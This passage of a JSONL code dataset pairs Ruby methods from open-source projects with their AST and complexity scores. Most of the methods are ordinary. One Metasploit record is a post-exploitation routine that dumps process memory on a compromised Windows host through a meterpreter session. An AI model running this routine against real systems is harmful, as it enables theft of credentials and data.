end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_subject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_by_id\",{\"type\":\"str\",\"children\":[\"wp-new-inline-edit--field-subject\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},\"value\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]}","id":"5df44f4b-e0a2-4c77-b7bd-61f44b022b6c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":807,"raw_source":"def test_first\n    assert_equal topics(:second).title, Topic.where(\"title = 'The Second Topic of the day'\").first.title\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_first\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"second\"]}]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"where\",{\"type\":\"str\",\"children\":[\"title = 'The Second Topic of the day'\"]}]},\"first\"]},\"title\"]}]}]}","id":"429a62d2-0979-47c3-92aa-6db471418703"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/encryption/cipher/aes256_gcm_test.rb","start_line":45,"raw_source":"def assert_cipher_encrypts(cipher, content_to_encrypt)\n      encrypted_content = cipher.encrypt(content_to_encrypt)\n      assert_not_equal content_to_encrypt, encrypted_content\n      assert_equal content_to_encrypt, cipher.decrypt(encrypted_content)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_cipher_encrypts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cipher\"]},{\"type\":\"arg\",\"children\":[\"content_to_encrypt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encrypted_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"encrypt\",{\"type\":\"lvar\",\"children\":[\"content_to_encrypt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"content_to_encrypt\"]},{\"type\":\"lvar\",\"children\":[\"encrypted_content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"content_to_encrypt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"decrypt\",{\"type\":\"lvar\",\"children\":[\"encrypted_content\"]}]}]}]}]}","id":"ac8519fd-4ee2-48d6-b575-249a8ed1b0fd"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/timestamp.rb","start_line":52,"raw_source":"def parse!\n      @timestamp_string = self.class.substitute_special_shortcut_values(@original_string)\n\n      case @timestamp_string\n      when DURATION_REGEX\n        ActiveSupport::Duration.parse(@timestamp_string).iso8601\n      when DATE_KEYWORD_REGEX # Built in date keywords\n        @timestamp_string\n      else\n        DateTime.iso8601(@timestamp_string).iso8601\n      end\n    rescue ArgumentError => e\n      raise e.class, \"The string \\\"#{@original_string}\\\" cannot be parsed to a Timestamp.\"\n    end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@timestamp_string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"substitute_special_shortcut_values\",{\"type\":\"ivar\",\"children\":[\"@original_string\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_string\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DURATION_REGEX\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Duration\"]},\"parse\",{\"type\":\"ivar\",\"children\":[\"@timestamp_string\"]}]},\"iso8601\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DATE_KEYWORD_REGEX\"]},{\"type\":\"ivar\",\"children\":[\"@timestamp_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"iso8601\",{\"type\":\"ivar\",\"children\":[\"@timestamp_string\"]}]},\"iso8601\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The string \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_string\"]}]},{\"type\":\"str\",\"children\":[\"\\\" cannot be parsed to a Timestamp.\"]}]}]}]},null]}]}","id":"280d765e-aad8-4d3a-b645-8057f81aa948"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_nginx.rb","start_line":65,"raw_source":"def test_parse_without_http_version\n    d = create_driver\n    d.instance.parse('127.0.0.1 192.168.0.1 - [28/Feb/2013:12:00:00 +0900] \"GET /\" 200 777 \"-\" \"Opera/12.0\"') { |time, record|\n      assert_equal(event_time('28/Feb/2013:12:00:00 +0900', format: '%d/%b/%Y:%H:%M:%S %z'), time)\n      assert_equal(@expected, record)\n    }\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_without_http_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parse\",{\"type\":\"str\",\"children\":[\"127.0.0.1 192.168.0.1 - [28/Feb/2013:12:00:00 +0900] \\\"GET /\\\" 200 777 \\\"-\\\" \\\"Opera/12.0\\\"\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"28/Feb/2013:12:00:00 +0900\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d/%b/%Y:%H:%M:%S %z\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@expected\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}]}","id":"b431e6e0-9d91-4b4f-89dd-d6108f7decd9"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/ssl.rb","start_line":88,"raw_source":"def call(env)\n      request = Request.new env\n\n      if request.ssl?\n        @app.call(env).tap do |status, headers, body|\n          set_hsts_header! headers\n          flag_cookies_as_secure! headers if @secure_cookies && !@exclude.call(request)\n        end\n      else\n        return redirect_to_https request unless @exclude.call(request)\n        @app.call(env)\n      end\n    end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"ssl?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"headers\"]},{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_hsts_header!\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@secure_cookies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exclude\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"flag_cookies_as_secure!\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]},null]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exclude\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to_https\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]}]}","id":"de6fefa1-e3d9-45b4-8565-fb92fc466518"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb","start_line":22,"raw_source":"def is_rf?\n    return true if client.rftransceiver\n    print_error(\"Not an RFTransceiver module\")\n    return false\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_rf?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"rftransceiver\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Not an RFTransceiver module\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"dfe603d2-1d33-4b01-9def-3e32fad99538"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group.rb","start_line":856,"raw_source":"def enqueue_user_removed_from_group_webhook_events(group_user)\n    return if !WebHook.active_web_hooks(:group_user)\n\n    payload = WebHook.generate_payload(:group_user, group_user, WebHookGroupUserSerializer)\n\n    WebHook.enqueue_hooks(\n      :group_user,\n      :user_removed_from_group,\n      id: group_user.id,\n      payload: payload,\n      group_ids: [self.id],\n    )\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_user_removed_from_group_webhook_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebHook\"]},\"active_web_hooks\",{\"type\":\"sym\",\"children\":[\"group_user\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebHook\"]},\"generate_payload\",{\"type\":\"sym\",\"children\":[\"group_user\"]},{\"type\":\"lvar\",\"children\":[\"group_user\"]},{\"type\":\"const\",\"children\":[null,\"WebHookGroupUserSerializer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebHook\"]},\"enqueue_hooks\",{\"type\":\"sym\",\"children\":[\"group_user\"]},{\"type\":\"sym\",\"children\":[\"user_removed_from_group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]}]}]}]}]}]}","id":"eb6297c4-ac2c-4010-afe1-b56a8e5fef32"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/memory_dump.rb","start_line":143,"raw_source":"def run\n    fail_with(Failure::BadConfig, 'Only meterpreter sessions are supported by this module') unless session.type == 'meterpreter'\n\n    if datastore['PID'] && datastore['PROCESS_NAME']\n      fail_with(Failure::BadConfig, 'PROCESS_NAME and PID are mutually exclusive.')\n    end\n\n    unless datastore['PID'] || datastore['PROCESS_NAME']\n      fail_with(Failure::BadConfig, 'PROCESS_NAME or PID must be set.')\n    end\n\n    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']\n    print_status(\"Running module against #{hostname} (#{session.session_host})\")\n\n    if datastore['PROCESS_NAME']\n      pids = pidof(datastore['PROCESS_NAME'])\n      fail_with(Failure::BadConfig, \"Could not find PID for process '#{datastore['PROCESS_NAME']}'\") if pids.empty?\n    else\n      pids = [datastore['PID']]\n    end\n\n    session_pid = session.sys.process.getpid\n\n    pids.uniq.each do |pid|\n      if pid == session_pid && !datastore['ForceExploit']\n        print_warning(\"Skipping process #{pid}. Dumping current process is not recommended (can result in deadlock). To run anyway, set ForceExploit to True\")\n        next\n      end\n\n      dump_process(pid)\n    end\n  end","complexity_score":72.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Only meterpreter sessions are supported by this module\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROCESS_NAME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"PROCESS_NAME and PID are mutually exclusive.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROCESS_NAME\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"PROCESS_NAME or PID must be set.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running module against \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROCESS_NAME\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pids\",{\"type\":\"send\",\"children\":[null,\"pidof\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROCESS_NAME\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pids\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find PID for process '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROCESS_NAME\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"pids\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PID\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"session_pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"process\"]},\"getpid\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pids\"]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"session_pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ForceExploit\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipping process \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"str\",\"children\":[\". Dumping current process is not recommended (can result in deadlock). To run anyway, set ForceExploit to True\"]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"dump_process\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]}]}]}","id":"5da9eccb-8155-4955-a150-a0a995e98d73"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/uuid_test.rb","start_line":15,"raw_source":"def uuid_function\n    connection.supports_pgcrypto_uuid? ? \"gen_random_uuid()\" : \"uuid_generate_v4()\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uuid_function\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"supports_pgcrypto_uuid?\"]},{\"type\":\"str\",\"children\":[\"gen_random_uuid()\"]},{\"type\":\"str\",\"children\":[\"uuid_generate_v4()\"]}]}]}","id":"79af9265-c451-4fe0-941a-3b8ddc56b7df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/metrics.rb","start_line":101,"raw_source":"def self.job_token_inbound_access_counter\n          name = :gitlab_ci_job_token_inbound_access\n          comment = 'Count of inbound accesses via CI job token'\n\n          Gitlab::Metrics.counter(name, comment)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_token_inbound_access_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"gitlab_ci_job_token_inbound_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"str\",\"children\":[\"Count of inbound accesses via CI job token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"counter\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]}]}","id":"35931115-4257-4911-b43c-942869d82442"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/tenant.rb","start_line":104,"raw_source":"def nested_providers\n    ExtManagementSystem.with_tenant(id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_providers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExtManagementSystem\"]},\"with_tenant\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}","id":"29b1b6fc-c6cd-401e-92b7-2ecab4bc8436"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/concerns/redis_cacheable_spec.rb","start_line":8,"raw_source":"def read_attribute(attribute)\n        attributes[attribute]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}","id":"e6b6f46b-9115-4ca7-8856-e69efc5910b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/session.rb","start_line":91,"raw_source":"def write!\n          @performed_write = true\n\n          return if @ignore_writes\n\n          use_primary!\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@performed_write\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ignore_writes\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"use_primary!\"]}]}]}","id":"cd893e63-4612-4717-8e6d-6da4266de4d7"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":1148,"raw_source":"def update_notifications\n    Notification.update_notifications(self, I18n.t(\"models.article.published\"))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_notifications\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"update_notifications\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.article.published\"]}]}]}]}","id":"6d84dd65-336d-4fdb-ac35-3d48b3f61b0a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_event.rb","start_line":234,"raw_source":"def self.display_name(number = 1)\n    n_('Event', 'Events', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Event\"]},{\"type\":\"str\",\"children\":[\"Events\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"50132925-b220-4bef-ba68-407e40595ddc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/automation_rule.rb","start_line":82,"raw_source":"def query_operator_presence\n    return if conditions.blank?\n\n    operators = conditions.select { |obj, _| obj['query_operator'].nil? }\n    errors.add(:conditions, 'Automation conditions should have query operator.') if operators.length > 1\n  end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"query_operator_presence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conditions\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"operators\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conditions\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]\",{\"type\":\"str\",\"children\":[\"query_operator\"]}]},\"nil?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operators\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"str\",\"children\":[\"Automation conditions should have query operator.\"]}]},null]}]}]}","id":"866ce90d-7f69-4bb9-94b6-daf34037cb8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/failed_tests.rb","start_line":131,"raw_source":"def suite_map\n    @suite_map ||= {\n      rspec: rspec_pg_regex,\n      rspec_ee: rspec_ee_pg_regex,\n      jest: FailedTests::DEFAULT_OPTIONS[:jest_regex]\n    }\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"suite_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@suite_map\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rspec\"]},{\"type\":\"send\",\"children\":[null,\"rspec_pg_regex\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rspec_ee\"]},{\"type\":\"send\",\"children\":[null,\"rspec_ee_pg_regex\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FailedTests\"]},\"DEFAULT_OPTIONS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jest_regex\"]}]}]}]}]}]}","id":"31e0171b-b89c-45c5-9723-e08b4dafadec"}
